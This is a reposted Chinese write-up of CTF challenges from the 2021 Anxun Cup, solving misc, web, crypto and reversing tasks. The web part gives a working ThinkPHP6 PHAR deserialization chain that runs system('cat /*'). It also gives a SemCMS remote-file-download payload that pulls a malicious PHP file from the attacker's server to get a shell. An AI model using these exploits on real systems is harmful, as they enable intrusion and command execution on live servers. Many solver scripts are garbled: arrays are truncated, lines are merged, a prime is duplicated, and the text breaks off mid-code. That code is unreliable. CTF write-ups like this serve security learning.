2021年第四届安洵杯WriteUp(转)
快去BV1ZX4y1V7Qb⼀条全部由字母和下划线构成的特⾊flag弹幕吧!flag格式为D0g3{xxxxxxx_xx_xxxxxxxxx}访问视频半天没到flag,眼看⼏分钟都⼗⼏解了,我想到了村霸的⼀句名⾔:钓不到鱼我就⽤抽⽔机来抽(
直接⽤jjdown下载该视频的XML弹幕⽂件,然后直接搜索D0g3
D0g3{welcome_to_axbgogogo}
⼆、
⾸先听⼀下⾳频⽂件,1min后有SSTV的声⾳(但把头部挖了),⽤软件解⼀下
可看到⼀串Base32的字符串,但是拿去解只能得到⼀半的flag
MRPVI4TZL5KGK4TSGRZGSYJBPU======
⾳频的前⼀分钟是Terraria的⾳乐,这提⽰下⾯这个.wld⽂件是⼀个Terraria的地图⽂件
由于我没有玩过Terraria,我就先去了⼀个。可以看见地⾯上有4个玻璃制的箱⼦
最右边的箱⼦名字乱码了,应该是中⽂导致
换⼀个离线运⾏的编辑器可以看出第四个箱⼦的名称
把前⾯3个箱⼦的信息组合⼀下,可得到Base32的前半段
IQYGOM33JUYW4ZLDKI2GM5C
但是跟后半段不能很好地接上,第四个箱⼦的说明也提⽰了还有⼀段flag
我还是把这个地图给了某个Terraria玩家,他玩了⼀会说只要拿着扳⼿就可以在出⽣点看到信息
我⼜换了⼀个,也看到了
7I4YF6QLO
把解出来的所有字符串按顺序拼起来
IQYGOM33JUYW4ZLDKI2GM5C7I4YF6QLOMRPVI4TZL5KGK4TSGRZGSYJBPU======
D0g3{M1necR4ft_G0_And_Try_Terr4ria!}
三、
打开附件看到⼀个⼤概能读懂的代码和⼀个加密的zip⽂件
神奇的代码⽤Dcode检测⼀下发现是⼀种叫LOLCODE的语⾔
⽤在线⼯具跑⼀下得到输出就是压缩包密码
解压ez_misc.zip后,⾥⾯有两个⽂件:Program.png和jinx's_flag_in_silent.jpg
Program.png有经验直接看出来是brainloller,⽤运⾏⼀下
jinx's_flag_in_silent.jpg由⽂件名提⽰是Silent Eye隐写,⽤该⼯具解密(题⽬说明中指出要把空格换成下划线)
D0g3{544f3225-bbaf-47dc-ba8d-5bda54cbaecb}
打开压缩包很明显可以知道是CRC32爆破来获取六字节⽂件内的部分压缩包密码
利⽤CRC32 Tools来辅助爆破攻击,并结合特征点来确认压缩包密码内容,得到压缩包的密码为:th1s_Is_Y0ur_pa33w0rd_We1c0m3e 得到图⽚blind.png,利⽤Stegsolve在bgr组合三个通道的最底层提取到⼀张图⽚
根据题⽬描述,猜测是Tupper⾃我指涉公式,利⽤在线⽹站解密得到FLAG:D0g3{I_LOV3_math}
⼀、
利⽤ThinkPHP6反序列化链⼦结合PHAR协议来获取FLAG
<?php
namespace think {
class Request {
protected $filter;
protected $hook = [];
protected $param = [];
protected $config = [];
public function __construct() {
$this->filter = 'system';
$this->param = ['cat /*'];
$this->hook = ['visible' => [$this, 'isAjax']];
$this->config = ['var_ajax' => ''];
}
}
abstract class Model {
private $data = [];
protected $append = [];
function __construct() {
$this->append = ['h3rmesk1t' => ['a']];
$this->data = ['h3rmesk1t' => new Request()];
}
}
}
namespace think\model {
use think\Model;
use think\Request;
class Pivot extends Model {
}
}
namespace think\process\pipes {
use think\model\Pivot;
class Pipes {
}
class Windows extends Pipes {
private $files = [];
function __construct() {
$this->files = [new Pivot()];
}
}
}
namespace {
use think\process\pipes\Windows;
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar->setStub(" __HALT_COMPILER(); ?>");
$demo = new Windows();
$phar->setMetadata($demo);
$phar->addFromString("", "demo");
$phar->stopBuffering();
}
利⽤来对⽣成的PHAR⽂件进⾏BASE64-ENCODE操作,接着将得到的结果通过POST传参并绕过限制条件,即可获得FLAG
⼆、
审计代码后发现CxWsbN_AR4\Ant_Curl.php⽂件中存在远程⽂件下载漏洞
<?php include_once 'Ant_Inc.php';
if (isset($_GET['url'])){
$dname=explode("/", $_GET['url']);
if(strpos($dname[2],'sem-cms') !== false){
$url=$_GET['url'];
}else{
echo("<script language='javascript'>alert('⾮法操作');window.history.back(-1);</script>");
exit;
}
}else{
$url="";
}
if (!empty($url)){
$fn = explode("/", $url);
$filename =end($fn);
$fndir = str_replace(".zip", "", $filename);
//下载⽬录
$save_dir = "../Soft/Zip/";
//解压⽬录
$open_dir = "../Soft/Uzip/";
//备份⽬录
$bak_dir = "../Soft/Bak/";
//下载⽂件
$result =getFile($url, $save_dir, $filename,1);
if ($result===false){
echo("<script language='javascript'>alert('⽂件下载失败,重新下载:可能不⽀持cURL,或服务器原因');window.history.back(-1);</script>");        exit;
}
//解压⽂件
$size = get_zip_originalsize($save_dir.$filename,$open_dir);
//备份⽬录
if(!is_dir($bak_dir)){
mkdir($bak_dir,0777,true);
}
$file = fopen($open_dir.$fndir."/","r");
while(!feof($file)){
$url=explode("=",fgets($file));
//备份⽂件
$bak_file = explode("/", trim($url[1]));
if(file_exists(trim($url[1]))){ //原⽂件存在的备份
if(rename(trim($url[1]),$d($bak_file))===false){
echo "备份失败";
}
}
//安装⽂件
if(rename(trim($url[0]),trim($url[1]))===false){
//echo "安装失败";
echo "<script language='javascript'>alert('安装失败,请重新安装');window.history.back(-1);</script>";
exit;
}
}
fclose($file);
//删除解压⽂件及压缩包
delDirAndFile($save_dir);
delDirAndFile($open_dir);
echo("<script language='javascript'>alert('安装成功');window.history.back(-1);</script>");
}
>
利⽤Payload:题⽬地址/CxWsbN_AR4/Ant_Curl.php?url=服务器IP/sem-cms/sem-cms5.php即可下载含有恶意代码的PHP⽂件
接着访问题⽬地址/Soft/Zip/sem-cms5.php来Getshell
⼀、
第⼀部分和今年的祥云杯中的Random_RSA类似,Python随机数相同的随机数种⼦产⽣的随机数序列相同,先⽤题⽬给出的seeds、result等参数来反算出dp的值
from gmpy2 import *
import binascii
import random
seeds = [3, 0, 39, 78, 14, 49, 73, 83, 55, 48, 30, 28, 23, 16, 54, 23, 68, 7, 20, 8, 98, 68, 45, 36, 97, 13,
83, 68, 16, 59, 81, 26, 51, 45, 36, 60, 36, 94, 58, 11, 19, 33, 95, 12, 60, 38, 51, 95, 21, 3, 38
res = [-38, -121, -40, -125, -51, -29, -2, -21, -59, -54, -51, -40, -105, -5, -4, -50, -127, -56, -124, -128, -23, -104, -63, -112, -34, -115, -58, -99, -24, -102, -1, -5, -34, -3, -104, -103, -21, -62, -121, -24
dp = ''
for i in range(len(res)):
random.seed(seeds[i])
rands = []
for j in range(0,4):
rands.append(random.randint(0,99))
dp += chr((~(res[i])|rands[i%4]) & ((res[i])|~rands[i%4]))
del rands[i%4]
print(dp)
dp = int(dp)
#dp = 23458591381644494879596426183878928641891759871602961070839457303969747353773411708437315165237216481430908369709167907047043280248152040749469402814146后半段中,每次循环中的P、Q其实都是已知的,因此很容易可以把dq的值计算出来
from gmpy2 import *
from Crypto.Util.number import *
dp = ''
e = 0x10001
length_dp = 309
c = [1, 0, 7789, 1, 17598, 20447, 15475, 23040, 41318, 23644, 53369, 19347, 66418, 5457, 0, 1, 14865, 97631, 6459, 36284, 79023, 1, 157348, 44667, 185701, 116445, 23809, 220877, 0, 1
list_p = sieve_base[0 : length_dp]
list_q = sieve_base[length_dp : 2 * length_dp]
for i in range(length_dp):
p = list_p[i]
q = list_q[i]
phi = (p-1) * (q-1)
d = invert(e, phi)
dp += str(pow(c[i], d, p*q))
print(dp)
接着利⽤dp&dq泄露就能拿到本题的FLAG:D0g3{Welc0me_t0_iSOON_4nd_have_4_go0d_time}
import gmpy2
import binascii
def decrypt(dp,dq,p,q,c):
InvQ = gmpy2.invert(q,p)
mp = pow(c,dp,p)
mq = pow(c,dq,q)
m = (((mp-mq) * InvQ)%p) * q + mq
print(binascii.unhexlify(hex(m)[2:]))
p = 1194941483439177081058071176147735291963804520258595741232115388599830941080156783217244956097853325085635349509573672897235594681974402469604030540204529 q = 1251326850862816668005734048685854248152470822137246474732260164524714615557421940426173180636703112906943105627464423722931335091753791709335144238424624 dp = 234585913816444948795964261838789286418917598716029610708394573039697473537734117084373151652372164814309083697091679070470432802481520407494694028141460 dq = 104137587579880166582178434901328539485184135240660490271571544307637817287517428663992284342411864826922600858353966205614398977234519495034539643954586
c = 1023827131547748822533171264108329002448881171009303373453591057349340956705693452811084504914319383670612221030305546614581925689329342922338982825265742 decrypt(dp,dq,p,q,c)
⼆、
先⼿动化简⼀波X和Y之间的等式,接着利⽤化简后的等式可以快速的得到primelist[0]、primelist[1]和primelist[2]三个值
设primelist[0]、primelist[1]、primelist[2]分别为x、y、z,可以根据约数向上推来得到x和z的值,测试后发现分数化到最简后同时乘以6可得到满⾜x和z都为质数的值,再
把x和z带⼊上⾯的式⼦可解出y
x = 1173799934884089092137858879744722290160712655664038498362167548472954015651661518723294405455987673964992523251334192967757982118883050507765866479991855 z = 1241174159438839776647511235303124111279697525965548452247881573713112494765874350586061745600865954021309424324330772857274104866069366034366790721154815
y = 1311593373506044370972609353379081728719180659224294170873001915268608634834507341046100660969337311922261460308157823793681669394043328069899231805441799
由于n = reduce(lambda a, b:a * b, primelist) * p * q中p和q是相邻的质数,直接⽤yafu分解n // (x * y * z)的值即可
得到上述需要的参数值后,就是简单的rsa解密,拿到本题的FLAG:D0g3{296b680c-7aeb-5272-8b33-7335b411fbcb}
import binascii
import gmpy2
from Crypto.Util.number import *
e = 0x10001
c = 1394946766416873131554934453357121730676319808212515786127918041980606746238793432614766163520054818740952818682474896886923871330780883504028665380422608 n = 194459501329763869118523816667317994635109587129502742481831924059372233432281
1940766077241306759925271023531040227834539180686311611901069776643474330279 x = 1173799934884089092137858879744722290160712655664038498362167548472954015651661518723294405455987673964992523251334192967757982118883050507765866479991855 z = 1241174159438839776647511235303124111279697525965548452247881573713112494765874350586061745600865954021309424324330772857274104866069366034366790721154815 y = 1311593373506044370972609353379081728719180659224294170873001915268608634834507341046100660969337311922261460308157823793681669394043328069899231805441799 p = 1008791870560563278456880985494067454242073611974230932696927171084776008689628968600139047367657953061012168289698990928549096695221321805873026219894369 q = 1008791870560563278456880985494067454242073611974230932696927171084776008689628968600139047367657953061012168289698990928549096695221321805873026219894369 phi=(p-1)*(q-1)*(x-1)*(y-1)*(z-1)
d=gmpy2.invert(e,phi)
m=pow(c,d,n)
print(long_to_bytes(m)[256:-256])
三、
分析加密过程后很容易发现是⼀个Stereotyped messages攻击+z3求解的问题
m1 = m | hint => 由于m的值相⽐于hint⼩多了,因此这样得到的是hint的⾼位
m2 = m & hint => 得到m的位数
因此,可以通过hint & ((1 << 383) - 1)取hint的低位,即m1的有效低位,通过hint - (hint & ((383 << 1) - 1))取hint的有效⾼位
接着利⽤得到的hint_high进⾏Stereotyped messages攻击,利⽤得到的低位与hint_high相加得到m1的值
得到m1的值后,利⽤z3约束求解即可得到m的值,long_to_bytes后得到FLAG:D0g3{R54_f4l1_1n_l0ve_with_CopperSmith_w0wow0!!}
from z3 import *
from Crypto.Util.number import *
m = BitVec('m', 384)
s = Solver()
m1 = 998963941978222244452912995152672361883167262760378372872876734525794131187026947165190711854578340829585695421425968142194380785555457117961948597514394 m2 = 9869907877594701353175281930839281485694004896356038595955883788511764488228640164047958227861871572990960024485992
hint = 99896394197822224445291299515267236188316726276037837287287673452579413118702694716519071185457834082958569542142596814219438078555545711796194859751439 s.add(m1 == (m | hint))
s.add(m2 == (m & hint))
s.check()
m = s.model()
print(m)
typec转dp
⼀、
先打开程序,发现是贪吃蛇,IDA跟进sub_40100F,发现有个花指令和SMC,先把SMC解出来,利⽤⽤od动态调试,断在0x419054,此为加密完成的位置,接着回
到0x401d10,重新分析代码后,将整个函数选中右键复制到可执⾏⽂件 – 选择,保存到新的⽂件后即可看到逻辑
解出来发现这是flag的逻辑:程序先进⾏了异或,矩阵变换,然后就是⼀个魔改的类似TEA思想的算法,由于dword_42CA44未知且⼩于256
v5 = dword_42CA44 + 1144219440;
v5虽然是⼀个int数组,但是是从char赋值来的,所以可以爆破dword_42CA44,只要解出来的结果<256就是正确的
#include <ctime>
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
unsigned char Enc[] = { 0xA5, 0xD8, 0x8E, 0xBF, 0xF9, 0xA9, 0x15, 0xE1, 0x8A, 0xF0,
0xD3, 0xFC, 0x46, 0x89, 0xBF, 0x8B, 0x62, 0xB1, 0x08, 0xC3,
0x29, 0xCF, 0x19, 0x2B, 0x56, 0x06, 0x77, 0x7A, 0xBA, 0xE4,
0xBA, 0xA4, 0xE4, 0x8C, 0x3E, 0x4E, 0xD9, 0xE1, 0xA7, 0x01,
0x04, 0xCE, 0xE9, 0x75, 0xB9, 0x93, 0xB5, 0x22, 0xB4, 0x42,
0x77, 0x49, 0xF6, 0x15, 0xEB, 0x24, 0x0E, 0xFF, 0xC2, 0xF2,
0x39, 0x30, 0x97, 0x47, 0x0D, 0xCA, 0x01, 0xC8, 0x61, 0x58,
0x12, 0x6A, 0xE8, 0x0B, 0x32, 0x80, 0x47, 0xBD, 0x85, 0x03,
0xDD, 0x6D, 0xF9, 0x69, 0xD1, 0x90, 0x64, 0xE5, 0x4B, 0xAD,
0x3C, 0x2D, 0xBE, 0x00, 0x42, 0x2D, 0x79, 0x69, 0xEF, 0x89,
0x5D, 0x88, 0x91, 0x4A, 0xC7, 0xEB, 0x9D, 0x01, 0x96, 0xFD,
0xF8, 0x3B, 0x57, 0x25, 0xDD, 0x1B, 0xDD, 0x5F, 0x68, 0xB8,
0x14, 0x66, 0x22, 0x57, 0x28, 0x5C, 0x58, 0x9F };
DWORD GetMagic1(int time,int x)
{
DWORD magic = 0x44336730 + x;
DWORD v8 = 0;
for(int i = 0 ; i< time ;i++){
v8 += magic;
}
return (v8 >> 2) & 3;
}
DWORD GetMagic2(int time,int x)
{
DWORD magic = 0x44336730 + x;
DWORD v8 = 0;
for (int i = 0; i < time; i++) {
v8 += magic;
}
return v8;
}
int main()
{
unsigned long ENC[32] = { 0 };
for (int x = 0;x < 256;x++){
memcpy(ENC, Enc, 32 * 4);
DWORD* a1 = (DWORD*)ENC;
DWORD know[] = { 68,48,103,51 };
for (int j = 7; j > 0; j--) {
DWORD v8 = GetMagic2(j,x);
DWORD v6 = GetMagic1(j,x);
DWORD v9 = a1[30];
a1[31] -= ((v9 ^ (know[(v6 ^ 31) & 3])) + (*a1 ^ v8)) ^ (((16 * v9) ^ (*a1 >> 3))
+ ((4 * *a1) ^ (v9 >> 5)));
for (int i = 30; i >= 0; i--) {
if (i == 0) {
v9 = a1[31];
}
else {
v9 = a1[i - 1];
}
a1[i] -= ((v9 ^ (know[(v6 ^ i) & 3])) + (a1[i + 1] ^ v8)) ^ (((16 * v9) ^ (a1[i + 1] >> 3))
+ ((4 * a1[i + 1]) ^ (v9 >> 5)));
}
}
if(ENC[0] < 256){
printf("%d",x);
}
}
}
# x = 77
接着再逆矩阵变换,就可以构造⼀个{1,2,3,4,5,6,7,...}的数组然后进⾏加密拿到置换表
int j = 0;
int i = 0;
int v1[128] = { 0 };
char table[32] = { 0 };
for(int sb = 0;sb<32;sb++){
table[sb] = sb + 1;
}
while (i < 32)
{
if (j % 6 >= 3)
v1[32 * (3 - j % 3) + i] = table[i];
else
v1[32 * (j % 3) + i] = table[i];
++i;
++j;
}
char result[32] = { 0 };
int v7 = 0;
for (i = 0; i < 4; ++i)
{
for (j = 0; j < 32; ++j)
{
if (v1[32 * i + j])
result[v7++] = (unsigned __int8)v1[32 * i + j];
}
}
__asm int 3;
然后把提取表,逆置换,再逆异或即可拿到flag
char ConverTable[32] = { 0x1,0x07,0x0d,0x13,0x19,0x1f,0x02,0x06,0x08,0x0c,0x0e,0x12,0x14,0x18,0x1a,0x1e,0x20,0x03,0x05,0x09,0x0b,0x0f,0x11,0x15,0x17,0x1b,0x1d,0x04,0x0a,0x10,0x16 for(int i = 0;i<32;i++){
ConverTable[i] -= 1;
}
char sb[33] = { 0 };
for(int i = 0;i<32;i++){
sb[ConverTable[i]] =(char)ENC[i];
}
sb[31] ^= sb[0];
for(int i = 30 ;i>=0;i--){
// printf("%d", i);
sb[i] ^= sb[(i + 1) % 32];
}
printf("%s", sb);
Th4_1mp0rtant_th2n9_is_t0_le@rn!
⼆、
解题exp如下
#include <windows.h>
#include <stdio.h>
void __cdecl sub_401790(char* a1, char* a2)
{

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。